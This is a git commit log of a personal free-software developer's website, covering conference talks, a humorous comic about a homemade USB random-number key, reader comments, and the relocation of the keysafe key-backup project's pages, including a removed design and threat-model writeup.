diff --git a/blog/entry/Presenting_at_LibrePlanet_2017.mdwn b/blog/entry/Presenting_at_LibrePlanet_2017.mdwn
new file mode 100644
index 0000000..b751323
--- /dev/null
+++ b/blog/entry/Presenting_at_LibrePlanet_2017.mdwn
@@ -0,0 +1,44 @@
+I've gotten in the habit of going to the FSF's LibrePlanet conference
+in Boston. It's a very special conference, much wider ranging than
+a typical technology conference, solidly grounded in software freedom,
+and full of extraordinary people. 
+(And the only conference I've ever taken my Mom to!) 
+
+After attending for four years, I finally thought it was 
+time to perhaps speak at it.
+
+<blockquote>
+      Four keynote speakers will anchor the event. Kade Crockford,
+      director of the Technology for Liberty program of the American
+      Civil Liberties Union of Massachusetts, will kick things off on
+      Saturday morning by sharing how technologists can enlist in the
+      growing fight for civil liberties. On Saturday night, Free
+      Software Foundation president Richard Stallman will present the 
+      Free Software Awards and discuss pressing threats and important
+      opportunities for software freedom.
+
+      Day two will begin with Cory Doctorow, science fiction author and
+      special consultant to the Electronic Frontier Foundation,
+      revealing how to eradicate all Digital Restrictions Management
+      (DRM) in a decade. The conference will draw to a close with Sumana
+      Harihareswara, leader, speaker, and advocate for free software and
+      communities, giving a talk entitled "Lessons, Myths, and Lenses:
+      What I Wish I'd Known in 1998."
+
+      That's not all. We'll hear about the GNU philosophy from Marianne
+      Corvellec of the French free software organization April, <b>Joey
+      Hess will touch on encryption with a talk about backing up your
+      GPG keys</b>, and Denver Gingerich will update us on a crucial free
+      software need: the mobile phone.
+
+      Others will look at ways to grow the free software movement:
+      through cross-pollination with other activist movements, removal
+      of barriers to free software use and contribution, and new ideas
+      for free software as paid work.
+</blockquote>
+
+-- [Here's a sneak peek at LibrePlanet 2017: Register today!](https://www.fsf.org/blogs/community/heres-a-sneak-peek-at-libreplanet-2017-register-today)
+
+I'll be giving some varient of the keysafe talk from Linux.Conf.Au.
+By the way, videos of my keysafe and propellor talks at Linux.Conf.Au 
+are now available, see the [[talks]] page.

update
diff --git a/talks.mdwn b/talks.mdwn
index 3b41ff9..d8e72a6 100644
--- a/talks.mdwn
+++ b/talks.mdwn
@@ -101,3 +101,8 @@ by others.
   - [video](http://mirror.linux.org.au/pub/linux.conf.au/2017/Type_driven_configuration_management_with_Propellor.webm)
   - [[slides|propellor.pdf]]
   - [Linux Weekly News writeup](https://lwn.net/Articles/713653)
+
+## Libreplanet 2017, MIT
+
+* "securely backing up gpg private keys.. to the cloud‽"
+  March 25th/26th

fix typo
diff --git a/talks/keysafe.pdf b/talks/keysafe.pdf
index c391aec..0125f5f 100644
Binary files a/talks/keysafe.pdf and b/talks/keysafe.pdf differ

new tool suggestion
diff --git a/code/moreutils/discussion.mdwn b/code/moreutils/discussion.mdwn
index 4cca48f..fbaffef 100644
--- a/code/moreutils/discussion.mdwn
+++ b/code/moreutils/discussion.mdwn
@@ -1,6 +1,13 @@
 Feel free to edit this page to suggest tools to add, or make any other
 comments --[[Joey]]
 
+## tool suggestion: "fork after grep"
+
+I've written this tool for tzap (tuning DVB-T cards). Iit runs a process as a child, waits for a string to appear on its stdout/stderr, then daemonizes it.     
+This is useful if a program takes a while to initialize, then prints a message on stdout, but does not daemonize itself. 
+
+It put it up on [github here](https://github.com/girst/forkaftergrep)
+
 ## chronic
 
 ### triggering by non-empty stderr output

link to lwn writeup of propellor talk
diff --git a/talks.mdwn b/talks.mdwn
index 6e96bf9..3b41ff9 100644
--- a/talks.mdwn
+++ b/talks.mdwn
@@ -100,3 +100,4 @@ by others.
 * "Type driven configuration management with Propellor"
   - [video](http://mirror.linux.org.au/pub/linux.conf.au/2017/Type_driven_configuration_management_with_Propellor.webm)
   - [[slides|propellor.pdf]]
+  - [Linux Weekly News writeup](https://lwn.net/Articles/713653)

Added a comment: Thanks for the kind words
diff --git a/blog/entry/badUSB/comment_1_189324dcfd806a38d82499292de894b2._comment b/blog/entry/badUSB/comment_1_189324dcfd806a38d82499292de894b2._comment
new file mode 100644
index 0000000..b2f1da7
--- /dev/null
+++ b/blog/entry/badUSB/comment_1_189324dcfd806a38d82499292de894b2._comment
@@ -0,0 +1,9 @@
+[[!comment format=mdwn
+ username="keithp@2c7c405b918a52cb022f52bd948f5958d6b60d52"
+ nickname="keithp"
+ avatar="http://cdn.libravatar.org/avatar/e6fb242319b4b3cd957499c9965849b6"
+ subject="Thanks for the kind words"
+ date="2017-01-26T18:19:32Z"
+ content="""
+It was great to see you in Hobart; glad you're enjoying my random gift!
+"""]]

work "chaoskey" into comic
Might have been better to make the whole name visible on the usb key
picture but I didn't want to redraw it.
diff --git a/blog/pics/badusb.png b/blog/pics/badusb.png
index f19b094..f6b6baf 100644
Binary files a/blog/pics/badusb.png and b/blog/pics/badusb.png differ
diff --git a/blog/pics/badusb.xcf b/blog/pics/badusb.xcf
index 74d15dd..98ceb8e 100644
Binary files a/blog/pics/badusb.xcf and b/blog/pics/badusb.xcf differ

dmesg
diff --git a/blog/entry/badUSB.mdwn b/blog/entry/badUSB.mdwn
index 68911d5..2f12851 100644
--- a/blog/entry/badUSB.mdwn
+++ b/blog/entry/badUSB.mdwn
@@ -1,6 +1,8 @@
 [[!img blog/pics/badusb.png size=640x alt="3 panel comic: 1. In a dark corner of the Linux Conf AU penguin dinner. 2. (Kindly accountant / uncle looking guy) Wanna USB key? First one is free! (I made it myself.) (No driver needed..) 3. It did look homemade, but I couldn't resist... My computer has not been the same since" link="http://chaoskey.org/"]]
 
-This actually happened. Probably.
+This actually happened.
+
+	Jan 19 00:05:10 darkstar kernel: usb 2-2: Product: ChaosKey-hw-1.0-sw-1.6.
 
 In real life, my hat is uglier, and Keithp is more kindly looking.
 

add
diff --git a/blog/entry/badUSB.mdwn b/blog/entry/badUSB.mdwn
new file mode 100644
index 0000000..68911d5
--- /dev/null
+++ b/blog/entry/badUSB.mdwn
@@ -0,0 +1,7 @@
+[[!img blog/pics/badusb.png size=640x alt="3 panel comic: 1. In a dark corner of the Linux Conf AU penguin dinner. 2. (Kindly accountant / uncle looking guy) Wanna USB key? First one is free! (I made it myself.) (No driver needed..) 3. It did look homemade, but I couldn't resist... My computer has not been the same since" link="http://chaoskey.org/"]]
+
+This actually happened. Probably.
+
+In real life, my hat is uglier, and Keithp is more kindly looking.
+
+[[gimp source|blog/pics/badusb.xcf]]
diff --git a/blog/pics/badusb.png b/blog/pics/badusb.png
new file mode 100644
index 0000000..f19b094
Binary files /dev/null and b/blog/pics/badusb.png differ
diff --git a/blog/pics/badusb.xcf b/blog/pics/badusb.xcf
new file mode 100644
index 0000000..74d15dd
Binary files /dev/null and b/blog/pics/badusb.xcf differ

add moved links
diff --git a/code/keysafe/details.mdwn b/code/keysafe/details.mdwn
index 98532ff..40f23ed 100644
--- a/code/keysafe/details.mdwn
+++ b/code/keysafe/details.mdwn
@@ -1 +1,3 @@
 [[!meta redir="https://keysafe.branchable.com/details/"]]
+
+Moved to <https://keysafe.branchable.com/details/>
diff --git a/code/keysafe/faq.mdwn b/code/keysafe/faq.mdwn
index d1a3a34..59faee6 100644
--- a/code/keysafe/faq.mdwn
+++ b/code/keysafe/faq.mdwn
@@ -1 +1,3 @@
 [[!meta redir="https://keysafe.branchable.com/faq/"]]
+
+Moved to <https://keysafe.branchable.com/faq/>
diff --git a/code/keysafe/screenshots.mdwn b/code/keysafe/screenshots.mdwn
index 55223fe..1674c75 100644
--- a/code/keysafe/screenshots.mdwn
+++ b/code/keysafe/screenshots.mdwn
@@ -1 +1,3 @@
 [[!meta redir="https://keysafe.branchable.com/screenshots/"]]
+
+Moved to <https://keysafe.branchable.com/screenshots/>
diff --git a/code/keysafe/servers.mdwn b/code/keysafe/servers.mdwn
index 70718fb..b896dbb 100644
--- a/code/keysafe/servers.mdwn
+++ b/code/keysafe/servers.mdwn
@@ -1 +1,3 @@
 [[!meta redir="https://keysafe.branchable.com/servers/"]]
+
+Moved to <https://keysafe.branchable.com/servers/>

add news item for scroll 1.20170122
diff --git a/code/scroll/news/version_1.20170122.mdwn b/code/scroll/news/version_1.20170122.mdwn
new file mode 100644
index 0000000..c6a0427
--- /dev/null
+++ b/code/scroll/news/version_1.20170122.mdwn
@@ -0,0 +1,4 @@
+scroll 1.20170122 released with [[!toggle text="these changes"]]
+[[!toggleable text="""
+   * Fix build with optparse-applicative-0.13.
+     Thanks, Sergei Trofimovich."""]]
\ No newline at end of file

new keysafe website
diff --git a/code/keysafe.mdwn b/code/keysafe.mdwn
index d27bfbf..6697d36 100644
--- a/code/keysafe.mdwn
+++ b/code/keysafe.mdwn
@@ -5,77 +5,6 @@ ten million systems. It's about making it possible for users to use gpg who
 currently don't, and who would find it too hard to use `paperkey` to back
 up and restore their key as they reinstall their laptop.
 
-Not yet ready for production use! Needs security review!
-May run over your dog! Not suitable for bitcoin keys!
-
-## Screenshots
-
-See [[screenshots]]. (Keysafe can also run in text mode in a terminal.)
-
-## How it works, basically
-
-The secret key is encrypted using a password, and is split into three
-shards, and each is uploaded to a server run by a different entity. Any two
-of the shards are sufficient to recover the original key. So any one server
-can go down and you can still recover the key.
-
-Keysafe checks your password strength (using the excellent but not perfect
-[zxcvbn library](https://github.com/tsyrogit/zxcvbn-c)),
-and shows an estimate of the cost to crack your password,
-before backing up the key. 
-
-[[screenshots/4.png]]  
-(Above is for the password "makesad spindle stick")
-
-Keysafe is designed so that it should take millions of dollars of computer
-time to crack any fairly good password. (This is accomplished using
-[Argon2](https://en.wikipedia.org/wiki/Argon2).)
-With a truely good password, such as four random words, the cracking cost
-should be many trillions of dollars.
-
-The password is the most important line of defense, but keysafe's design
-also makes it hard for an attacker to even find your encrypted secret key.
-
-For a more in-depth explanation, and some analysis of different attack
-vectors (and how keysafe thwarts them), see [[details]].
-Also, there's a [[FAQ]].
-
-## News
+<https://keysafe.branchable.com>
 
 [[!inline pages="code/keysafe/news/* and !*/Discussion" show="3"]]
-
-## Git repository
-
-`git clone git://git.joeyh.name/keysafe.git`
-
-All tags and commits in this repository are gpg signed, and you should
-verify the signature before using it.
-
-## Installation
-
-You should first install Haskell's stack tool, the readline and argon2
-libraries, and zenity. For example, on a Debian system:
-
-	sudo apt-get install haskell-stack libreadline-dev libargon2-0-dev zenity
-
-Then to build and install keysafe:
-
-	stack install keysafe
-
-Note that there is a manpage, but stack doesn't install it yet.
-
-## Reporting bugs
-
-Email <id@joeyh.name>
-
-## Servers
-
-See [[servers]] for information on the keysafe servers.
-
-## License
-
-Keysafe is licensed under the terms of the AGPL 3+
-
-## Thanks
-
-Thanks to Anthony Towns for his help with keysafe's design.
diff --git a/code/keysafe/details.mdwn b/code/keysafe/details.mdwn
index e0f85e5..98532ff 100644
--- a/code/keysafe/details.mdwn
+++ b/code/keysafe/details.mdwn
@@ -1,365 +1 @@
-[[!toc]]
-
-## Storing a key
-
-* Input password and name from user. The name is a combination of their own
-  name and a more obscure name (such as the name of their high-school
-  sweetheart).
-* Get the keyid of the key. (This can be any a public value
-  unique to the private key, eg a gpg keyid. It's only used to allow
-  storing multiple keys under a given name. If a gpg public key is not on the
-  keyservers, or the key is not a gpg key, can use "" for the keyid.)
-* Generate N by argon2(name, salt=keyid), tuned to take 10 minutes.
-* Generate N1-N3 by sha256 of N+1,2,3
-* Generate decryption puzzle P, a byte chosen at random.
-* Generate K by argon2(password, salt=name+P), tuned to take 0.195 minutes.
-* AES encrypt (data + checksum) with K as the key.
-* Shamir the encrypted key with N=2, M=3, yeilding S1-S3.
-* Servers reject attempts to store an object under a name that is
-  already in use.
-* Servers do not allow enumerating all objects stored,
-  and require a proof of work to handle any request.
-* Upload S1-S3 to separate servers under the names N1-N3.
-  If any of the uploads is rejected as name already in use, 
-  ask user to enter a different name or password.
-
-So, storing a key takes 10 minutes.
-
-## Recovering a key
-
-* Input password and name from user.
-* Calculate N and N1-N2
-* Request N1-N3 from servers until two objects are available.
-* Shamir recombine the objects.
-* Guess a value for P.
-* Generate K by argon2(password, salt=name+P)
-* AES decrypt
-* Repeat with new P until checksum verifies.
-
-This takes 10 minutes to calculate N, plus on average 128 guesses of P.
-Total recovery time varies from 10 minutes to 60 minutes, with an
-average of 35 minutes.
-
-## Difficulty of brute forcing a single encrypted key
-
-* Assume we know the name and keyid, or have otherwise found a way to
-  determine the shards of a key. Download and recombine the shards.
-* Guess a password.
-* For each possible value of P, AES decrypt with
-  K = argon2(password, salt=name+P), and check if checksum verifies.  
-  This takes 0.195 minutes * 256 = 50 minutes total.
-* Repeat for next password.
-
-So, for a password with N entropy, the number of CPU-years of work
-is to crack it is: `2^(N-1)*50/60/24/365`
-
-* Strong password (50 entropy): 53553077761 CPU-years
-* Weak password (30 entropy): 51072 CPU-years
-* Super-weak password (19 entropy): 25 CPU-years
-
-So, if an attacker is able to find the right shards for a secret key, it's
-feasible for them to crack super-weak and weak passwords, assuming the
-secret key is worth the cost of doing do. Stronger passwords quickly
-become infeasible to crack.
-
-## Attack methods
-
-An attacker who wants to target a particular person can guess the name they
-used, derive N1-N3, download two of S1-S3 and start brute forcing the
-password soon after the object is stored. This is the most likely attack
-method, so any user who could potentially be targeted like this should
-choose a strong password. A name that attackers are unlikely to guess
-prevents this attack, which is why keysafe prompts for not only the
-user's name, but also a more obscure name. Each name guess that the
-attacker makes takes 10 minutes of CPU time to generate N, as well
-as whatever proof of work the servers require.
-
-The sharding prevents a single malicious server from blindly 
-guessing weak passwords across its entire collection of objects.
-It takes two servers colluding to try to recombine their shards.
-
-If recombining two shards yielded data which could be checked to see if
-it's valid, then it would become fairly inexpensive to try all combinations
-of shards, and obtain all the encrypted keys for further cracking. So it's
-important that there not be any checksum or header in addition to the AES
-encrypted data. (AES encrypted data cannot be distinguised from random
-garbage except by block size.) Get that right, and with N keysafe users, an
-attacker would need to try `2^(N-1)` combinations of shards to find one on
-average, and would need to brute force the password of each combination.
-With only 20 keysafe users, assuming all users have super-weak passwords,
-this attack takes 13107200 years of CPU work `(2^19*25)` to crack one. With
-50 users, this jumps to quadrillions of years of CPU work.
-
-Colluding servers can try to correlate related objects based on access
-patterns and recombine pairs of those, and then brute force the password.
-The correlation needs to be very fine-grained for this to work.
-If 15 users' objects are all bucketed together by the correlation,
-then the attacker has 16384 combinations to try on average before
-finding a correct combination. Multiply by 5 years CPU work for cracking
-only super-weak passwords.
-
-Colluding servers who want to target a particular person
-can guess their N1-N3, check if those objects exist on the server, and
-begin brute-forcing the password. This is not much cheaper than the same
-attack performed by a third-party attacker, except that the attacker
-doesn't need to wait for an object to download from the server to check if
-it exists.
-
-A state-level entity may try to subpoena the entire contents of keysafe
-servers. Once 2 servers are compromised, the state-level entity can try the
-same attacks that colluding servers can use (but probably cannot use
-attacks involving correlation because the server operators should not be
-retaining the data needed for correlation). Of course, they probably have

(Diff truncated)
comment
diff --git a/blog/entry/completely_linux_distribution-independent_packaging/comment_5_86a967a91b5c60a1f76fc934b59c5a14._comment b/blog/entry/completely_linux_distribution-independent_packaging/comment_5_86a967a91b5c60a1f76fc934b59c5a14._comment
new file mode 100644
index 0000000..3d19efd
--- /dev/null
+++ b/blog/entry/completely_linux_distribution-independent_packaging/comment_5_86a967a91b5c60a1f76fc934b59c5a14._comment
@@ -0,0 +1,21 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 5"""
+ date="2017-01-22T12:30:11Z"
+ content="""
+Flatpak and snap don't seem to make it any easier to deal with this than
+docker does. Probably harder if your app has any unusual dependencies,
+since if the Flatpack runtime does not include a dependency, you have to
+bundle the dependency with the app.
+
+Compiler developers should not *need* to worry about including their compiler
+in a runtime.
+
+Flatpack might be slightly less of a security nightmare than docker is,
+due to more finegrained sandboxing, and since the app runtimes can be
+upgraded.
+
+It seems unlikely they're going to take off though. Docker has already
+nearly fully occupied their space, and instead of competing with it,
+flatpak and snap are competing with one-another.
+"""]]

gix
diff --git a/talks.mdwn b/talks.mdwn
index 720459a..6e96bf9 100644
--- a/talks.mdwn
+++ b/talks.mdwn
@@ -99,4 +99,4 @@ by others.
   - [[slides|keysafe.pdf]]
 * "Type driven configuration management with Propellor"
   - [video](http://mirror.linux.org.au/pub/linux.conf.au/2017/Type_driven_configuration_management_with_Propellor.webm)
-  - [slides|propellor.pdf]]
+  - [[slides|propellor.pdf]]

added talks
diff --git a/talks.mdwn b/talks.mdwn
index a8158c9..720459a 100644
--- a/talks.mdwn
+++ b/talks.mdwn
@@ -91,3 +91,12 @@ by others.
     - [video](http://meetings-archive.debian.net/pub/debian-meetings/2014/debconf14/webm/seeing_Debian_through_a_Functional_lens.webm)
  * "Propellor demo"
     - [video](http://downloads.kitenet.net/talks/propellor_demo/propellor_demo.webm)
+ 
+## Linux.Conf.AU 2017, Hobart
+
+* "securely backing up gpg private keys.. to the cloud‽"
+  - [video](http://mirror.linux.org.au/pub/linux.conf.au/2017/securely_backing_up_gpg_private_keys_to_the_cloud.webm)
+  - [[slides|keysafe.pdf]]
+* "Type driven configuration management with Propellor"
+  - [video](http://mirror.linux.org.au/pub/linux.conf.au/2017/Type_driven_configuration_management_with_Propellor.webm)
+  - [slides|propellor.pdf]]

add
diff --git a/pics/linux.conf.au/presenting.jpg b/pics/linux.conf.au/presenting.jpg
new file mode 100644
index 0000000..dd4f89a
Binary files /dev/null and b/pics/linux.conf.au/presenting.jpg differ
diff --git a/talks/keysafe.pdf b/talks/keysafe.pdf
new file mode 100644
index 0000000..c391aec
Binary files /dev/null and b/talks/keysafe.pdf differ
diff --git a/talks/propellor.pdf b/talks/propellor.pdf
new file mode 100644
index 0000000..c4e6265
Binary files /dev/null and b/talks/propellor.pdf differ

Added a comment: tmux's API and ii
diff --git a/blog/entry/multi-terminal_applications/comment_8_8b2ae6bd51f144027c0a895c798eda5d._comment b/blog/entry/multi-terminal_applications/comment_8_8b2ae6bd51f144027c0a895c798eda5d._comment
new file mode 100644
index 0000000..ab36688
--- /dev/null
+++ b/blog/entry/multi-terminal_applications/comment_8_8b2ae6bd51f144027c0a895c798eda5d._comment
@@ -0,0 +1,22 @@
+[[!comment format=mdwn
+ username="anarcat"
+ avatar="http://cdn.libravatar.org/avatar/4ad594c1e13211c1ad9edb81ce5110b7"
+ subject="tmux's API and ii"
+ date="2017-01-17T18:40:13Z"
+ content="""
+i have a similar concern in a project i'm working on now, which is to
+run a bunch of tests in one window and showing system logs in another
+window for convenience. i thought i would use tmux for this because the
+commandline interface is simple enough to be used like an API. my
+previous approach to this was to use a multi-interface design with
+simple functions like \"alert\", \"prompt\" or \"log\" that would send stuff
+to different places (terminal or gtk windows) depending on the
+environment, a bit like what debconf is doing, with all the crap that
+implies (generally: a suboptimal interface everywhere).
+
+as for an irc client, you may be curious to try out `ii`: it's a simple
+FIFO and filesystem-based irc client that implements basically *no* user
+interface... a little nuts, but sounds like it would be the backend to
+the UI you are describing.
+
+"""]]

Added a comment: flatpak?
diff --git a/blog/entry/completely_linux_distribution-independent_packaging/comment_4_8938ef07b70cde4a9427b16ed1668222._comment b/blog/entry/completely_linux_distribution-independent_packaging/comment_4_8938ef07b70cde4a9427b16ed1668222._comment
new file mode 100644
index 0000000..b0d33f0
--- /dev/null
+++ b/blog/entry/completely_linux_distribution-independent_packaging/comment_4_8938ef07b70cde4a9427b16ed1668222._comment
@@ -0,0 +1,10 @@
+[[!comment format=mdwn
+ username="anarcat"
+ avatar="http://cdn.libravatar.org/avatar/4ad594c1e13211c1ad9edb81ce5110b7"
+ subject="flatpak?"
+ date="2017-01-17T18:38:26Z"
+ content="""
+this is awesome. :) i have used this in weird cases (which, unfortunately, now include debian jessie ;) and bundle at least one of those binaries next to my git-annex archives...
+
+it seems there's a new player in this problem space - did you look at [flatpak](http://flatpak.org/)? the haskell folks have started to [consider it](https://github.com/haskell/haskell-platform/issues/259)...
+"""]]

fix more
diff --git a/code/keysafe/servers.mdwn b/code/keysafe/servers.mdwn
index 04c71a0..8fe9073 100644
--- a/code/keysafe/servers.mdwn
+++ b/code/keysafe/servers.mdwn
@@ -38,7 +38,7 @@ Keysafe's server list puts servers in three categories:
 
 ### Recommended
 
-* hlmjmeth356s5ekm.onion
+#### hlmjmeth356s5ekm.onion
 
 	-----BEGIN PGP SIGNED MESSAGE-----
 	Hash: SHA1
@@ -72,7 +72,7 @@ Keysafe's server list puts servers in three categories:
 
 ### Alternate
 
-* keysafe.joeyh.name
+#### keysafe.joeyh.name
 
 	-----BEGIN PGP SIGNED MESSAGE-----
 	Hash: SHA256
@@ -104,7 +104,7 @@ Keysafe's server list puts servers in three categories:
 	-----END PGP SIGNATURE-----
 </pre>
 
-* thirdserver
+#### thirdserver
 
   Provided by Marek Isalski at [Faelix](http://www.faelix.net/).
   Currently located in UK, but planned move to CH.  

fix formatting so warrent canary link works
diff --git a/code/keysafe/servers.mdwn b/code/keysafe/servers.mdwn
index c1553c7..04c71a0 100644
--- a/code/keysafe/servers.mdwn
+++ b/code/keysafe/servers.mdwn
@@ -40,71 +40,68 @@ Keysafe's server list puts servers in three categories:
 
 * hlmjmeth356s5ekm.onion
 
-<pre>
------BEGIN PGP SIGNED MESSAGE-----
-Hash: SHA1
-
-The keysafe server hlmjmeth356s5ekm.onion is provided and administered by
-Purism. It is located in the EU (Cyprus).
-
-We intend to run this server for at least 10 years (through 2027),
-or failing that, to transition any data stored on it to another
-server that is of similar or higher security.
-
-Our warrant canary is <https://puri.sm/warrant-canary/>,
-and is updated quarterly.
------BEGIN PGP SIGNATURE-----
-Version: GnuPG v1
-
-iQIcBAEBAgAGBQJYF8U4AAoJECPPLj0lRRT30CkP/Rn2TAeriNWO9wZcr0OHyX7B
-TJcgLy3pZXbGn6T6qmJqg3K22fTKJ7CX0dfIM+WLI9FfBtnT95q1rnzywhBGPXzj
-eD3g7r3QinIfMLBQTKyc9Ik5132uenD5h72ggVl3D+kuWv622IhaAaiVkuHc5KoR
-3/S+ImkcS/gz83UNTXnWdMs0V8+eqAjpWeYQS8Ih28AECI9f+xUUH//V9Ii/4Usv
-E3Y0hbqj8kSi4/Q6IwmFiJTKZ1FpccKhl6GIYUSLwJMJDHoI46M/AaZy0Xx9pLcU
-niSELai/7/0fY4N0TY2CbZUgH7FEhi0k8cCsGF7yTA6dqya8deKQKdUdDllcHayv
-+GOAqijiSTPrRox4TPMMdurPXTsJxeJuxVdS75Lw2cFk+JaaIVS/3XEyeuGpaVKW
-wSTltyFkMx9ur5cCPT2rxoRN78HuqgiHda/Jd4c2pny7GwpUEYAznQQaBYEl2jlQ
-/Go3ZudpnWfBRRe7znazhA6mIatPY61GrNIebVlET6/NCw9sZFRjHXY3pMw1u/TY
-4eP0UQpBUed4/sot5vsZVwbn8e6eFh0S4HTdl5x1G8jN8nUZVdJJjOtACrONW+TG
-CLSNDkMgQ5slBmtZm+MzL2VYkFHCMmPerNXY1DhHjMyfLpQEIN+bho+mIyc5h/W/
-Br5jFZujcQ0u7GzqvaDB
-=RmK4
------END PGP SIGNATURE-----
-</pre>
+	-----BEGIN PGP SIGNED MESSAGE-----
+	Hash: SHA1
+	
+	The keysafe server hlmjmeth356s5ekm.onion is provided and administered by
+	Purism. It is located in the EU (Cyprus).
+	
+	We intend to run this server for at least 10 years (through 2027),
+	or failing that, to transition any data stored on it to another
+	server that is of similar or higher security.
+	
+	Our warrant canary is <https://puri.sm/warrant-canary/>,
+	and is updated quarterly.
+	-----BEGIN PGP SIGNATURE-----
+	Version: GnuPG v1
+	
+	iQIcBAEBAgAGBQJYF8U4AAoJECPPLj0lRRT30CkP/Rn2TAeriNWO9wZcr0OHyX7B
+	TJcgLy3pZXbGn6T6qmJqg3K22fTKJ7CX0dfIM+WLI9FfBtnT95q1rnzywhBGPXzj
+	eD3g7r3QinIfMLBQTKyc9Ik5132uenD5h72ggVl3D+kuWv622IhaAaiVkuHc5KoR
+	3/S+ImkcS/gz83UNTXnWdMs0V8+eqAjpWeYQS8Ih28AECI9f+xUUH//V9Ii/4Usv
+	E3Y0hbqj8kSi4/Q6IwmFiJTKZ1FpccKhl6GIYUSLwJMJDHoI46M/AaZy0Xx9pLcU
+	niSELai/7/0fY4N0TY2CbZUgH7FEhi0k8cCsGF7yTA6dqya8deKQKdUdDllcHayv
+	+GOAqijiSTPrRox4TPMMdurPXTsJxeJuxVdS75Lw2cFk+JaaIVS/3XEyeuGpaVKW
+	wSTltyFkMx9ur5cCPT2rxoRN78HuqgiHda/Jd4c2pny7GwpUEYAznQQaBYEl2jlQ
+	/Go3ZudpnWfBRRe7znazhA6mIatPY61GrNIebVlET6/NCw9sZFRjHXY3pMw1u/TY
+	4eP0UQpBUed4/sot5vsZVwbn8e6eFh0S4HTdl5x1G8jN8nUZVdJJjOtACrONW+TG
+	CLSNDkMgQ5slBmtZm+MzL2VYkFHCMmPerNXY1DhHjMyfLpQEIN+bho+mIyc5h/W/
+	Br5jFZujcQ0u7GzqvaDB
+	=RmK4
+	-----END PGP SIGNATURE-----
 
 ### Alternate
 
 * keysafe.joeyh.name
 
-<pre>
------BEGIN PGP SIGNED MESSAGE-----
-Hash: SHA256
-
-  keysafe.joeyh.name is provided by me, Joey Hess.
-
-  I intend to run this server for at least 10 years (through 2027),
-  or failing that, to transition any data stored on it to another
-  server that is of similar or higher security.
-
-  It is a Digital Ocean VPS, located in Indonesia. I can't tell if the
-  hosting provider is accessing the contents of the server, and so
-  this server is not securely hosted enough to be Recommended.
------BEGIN PGP SIGNATURE-----
-
-iQIcBAEBCAAGBQJXx0qFAAoJEMkQ2SIlEuPHyGMQALSLL7LZEpTi+zf2kPYGoBMQ
-3z3FDB9B6SaF4uN3r+XlAw2Vzas2KVLCbNkO+np7tLzC0qdY5dBLDI7+ZJXiKi2v
-iqxKICl0E8+ih8JOe0JWfoysO974I1DesEI7X6VUewwNpd35OgCuIL5RmknKrX4I
-x7gUfsONiojUKgOT0yMErUfw3VNYB0Kbzw4Xic66eIkFl5z6APMknjqvOC1196v9
-BW0rSM+OsthB9xkj7ULKQv+1LrxmwNu0+FL62qNKGObbXHayfLBGm8TT9Y7etQYD
-3zRDiUfa0m2aYu7ZRx5HSIgExVVd3YosDUFA4xsIb6N4wBbP1zS2TG2Zo5o/+3gt
-BerkQL/xkMWhIMVCYp1hWc47MenHk1MJU5EhS+duL/fnlqW2HcFanM+fOv+/ZWt6
-da2mdjSR95Ekq22BXN9eHO54AFJKLWYNdT9E5W2rlwqUoC4dqsqYGT3XWnAaKHC/
-he9+B/wdEf7165Qy+MKo/36Ib7pfhPQv4hip2cuMP9w0E6JoKZusBV5AdxRvGAGf
-GvUhvNog6v9/t+cqUp6dSTT2WVllkXJ/5deGJYLzZMJjZS3cZ75ZKr8OD5oQxr+m
-7oL6BDvxha7Q4qHo/RZgxyd/qZ7zWHTT6Tn6qNCBGUi4b6Etb0kEd5Os66WoLCSK
-lhmhvShr0WRqB8fWYPkc
-=SNGN
------END PGP SIGNATURE-----
+	-----BEGIN PGP SIGNED MESSAGE-----
+	Hash: SHA256
+	
+	  keysafe.joeyh.name is provided by me, Joey Hess.
+	
+	  I intend to run this server for at least 10 years (through 2027),
+	  or failing that, to transition any data stored on it to another
+	  server that is of similar or higher security.
+	
+	  It is a Digital Ocean VPS, located in Indonesia. I can't tell if the
+	  hosting provider is accessing the contents of the server, and so
+	  this server is not securely hosted enough to be Recommended.
+	-----BEGIN PGP SIGNATURE-----
+	
+	iQIcBAEBCAAGBQJXx0qFAAoJEMkQ2SIlEuPHyGMQALSLL7LZEpTi+zf2kPYGoBMQ
+	3z3FDB9B6SaF4uN3r+XlAw2Vzas2KVLCbNkO+np7tLzC0qdY5dBLDI7+ZJXiKi2v
+	iqxKICl0E8+ih8JOe0JWfoysO974I1DesEI7X6VUewwNpd35OgCuIL5RmknKrX4I
+	x7gUfsONiojUKgOT0yMErUfw3VNYB0Kbzw4Xic66eIkFl5z6APMknjqvOC1196v9
+	BW0rSM+OsthB9xkj7ULKQv+1LrxmwNu0+FL62qNKGObbXHayfLBGm8TT9Y7etQYD
+	3zRDiUfa0m2aYu7ZRx5HSIgExVVd3YosDUFA4xsIb6N4wBbP1zS2TG2Zo5o/+3gt
+	BerkQL/xkMWhIMVCYp1hWc47MenHk1MJU5EhS+duL/fnlqW2HcFanM+fOv+/ZWt6
+	da2mdjSR95Ekq22BXN9eHO54AFJKLWYNdT9E5W2rlwqUoC4dqsqYGT3XWnAaKHC/
+	he9+B/wdEf7165Qy+MKo/36Ib7pfhPQv4hip2cuMP9w0E6JoKZusBV5AdxRvGAGf
+	GvUhvNog6v9/t+cqUp6dSTT2WVllkXJ/5deGJYLzZMJjZS3cZ75ZKr8OD5oQxr+m
+	7oL6BDvxha7Q4qHo/RZgxyd/qZ7zWHTT6Tn6qNCBGUi4b6Etb0kEd5Os66WoLCSK
+	lhmhvShr0WRqB8fWYPkc
+	=SNGN
+	-----END PGP SIGNATURE-----
 </pre>
 
 * thirdserver

Added a comment: I2P is fit for anonymous filesharing by design
diff --git a/blog/entry/p2p_dreams/comment_1_d62b9d0fdcec151eaa2066dc4fe3eaa5._comment b/blog/entry/p2p_dreams/comment_1_d62b9d0fdcec151eaa2066dc4fe3eaa5._comment
new file mode 100644
index 0000000..fae7ef5
--- /dev/null
+++ b/blog/entry/p2p_dreams/comment_1_d62b9d0fdcec151eaa2066dc4fe3eaa5._comment
@@ -0,0 +1,14 @@
+[[!comment format=mdwn
+ username="andreas.glaeser@cfd70e43e8acd338681cd069504740fdd4e85b0b"
+ nickname="andreas.glaeser"
+ avatar="http://cdn.libravatar.org/avatar/01527e4b0848adff0e9c052635eaa09b"
+ subject="I2P is fit for anonymous filesharing by design"
+ date="2017-01-15T14:37:09Z"
+ content="""
+Trying out I2P is what I would recommend here, because especially if you are interested in filesharing or anonymous mail-services, this would probably be more cost-efficient, it is said to exist inside the FeeBSD ports-collection.
+So from my perspective TOR is nice for anonymous web-surfing, no idea about onion-services.
